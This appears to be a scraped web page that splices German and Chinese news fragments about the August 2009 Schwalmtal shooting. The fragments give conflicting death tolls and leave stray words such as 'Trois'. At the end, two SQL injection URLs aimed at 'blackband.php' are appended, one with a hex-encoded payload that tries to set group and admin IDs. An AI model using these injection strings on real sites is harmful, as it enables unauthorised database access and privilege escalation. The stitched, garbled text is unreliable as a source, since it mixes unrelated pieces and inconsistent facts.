北威州杜塞附近的 小城 Schwalmtal发生枪杀案 四人死亡

东方今报

GERMANY SHOOTING One dead, three injured in Schwalmtal


http://www.bild.de/BILD/news/2009/08/18/amoklauf-geiselnahme-schwalmtal-nrw/tote-verletzte-schiesserei-polizei.html

Bei einem Blutbad in Schwalmtal (Kreis Viersen, Nordrhein-Westfalen) sind am Abend drei Menschen getötet worden, mehrere Personen wurden verletzt. Ein schlimmes Familiendrama!

Offenbar sollte die Wohnung des Mannes geräumt werden. Möglicherweise ging der Wahnsinns-Tat auch ein Streit unter Eheleuten voraus.

Nach Informationen der „Rheinischen Post“ hat sich das Paar im Eigentumshaus getroffen, um gemeinsam mit je zwei Immobilienmaklern und Anwälten den Wert des Gebäudes zu ermitteln.

Bei diesem Treffen eskalierte die Situation. Offenbar verlor der Familienvater die Nerven, er zog die Waffe. Nach Angaben der Polizei verschanzte sich der Mann im Haus, nachdem er auf der Straße um sich geschossen hatte. Er hielt dort aber entgegen ersten Befürchtungen keine Geiseln fest.

东方今报

德国北威州施瓦摩塔尔(Schwalmtal)18日傍晚发生枪击案。

德国媒体援引警方消息说，警察正在追捕枪击嫌疑犯，现在已证实枪击案中至少有一人死亡。

德国《下莱茵之声》广播电台报道说，枪击案中有多人受伤，枪击嫌疑犯同时绑架了一名人质，目前躲藏在一个有小花园的房子之中。德国救援人员已赶赴现场，但情况复杂，尚不能对受伤者展开施救。

施瓦摩塔尔是一个人口为1.9万的小镇。

东方今报

ugenzeugen berichteten, Polizisten hätten gegen 19:30 Uhr das Haus gestürmt. Der Mann wurde mit erhobenen Händen abgeführt, er hatte aufgegeben.

Der Amokläufer wirkte nach Angaben eines Augenzeugen betrunken. „Ich habe den Mann aus etwa 50 Meter Entfernung aus meinem Dachfenster gesehen“, sagte Björn Mayer (18). „Er wirkte alkoholisiert und brüllte bei seiner Festnahme immer „Hilfe“.“

Am Tatort bot sich den Ermittlern ein Bild des Schreckens. Wie ein Sprecher der Polizei in Viersen sagte, lag ein Toter vor dem Wohnhaus. Im Gebäude fanden die Polizisten dann beim Durchsuchen der Räume drei weitere Leichen.

Notärzte, Sanitäter und ein Notfallseelsorger kümmern sich um die Verletzten und Zeugen. Schwalmtal ist eine Gemeinde mit 19 000 Einwohnern im Kreis Viersen am Niederrhein.

Nordrhein-Westfalens Ministerpräsident Jürgen Rüttgers (CDU) zeigte sich tief betroffen über die schrecklichen Ereignisse in Schwalmtal. Er betonte seine Anteilnahme mit den Opfern. Sein Dank gelte der Polizei und den Rettungskräften, hieß es am Abend in Düsseldorf.

Trois

东方今报

blackband.php?mode=yule&action=enjoy&id=2 and 1=2 union select 1,-2222222222222,3,4/*

blackband.php?mode=yule&action=enjoy&id=2 and 1=2 union select 1,0x2D312C67726F757069643D312C61646D696E69643D31,3,4/*,4/*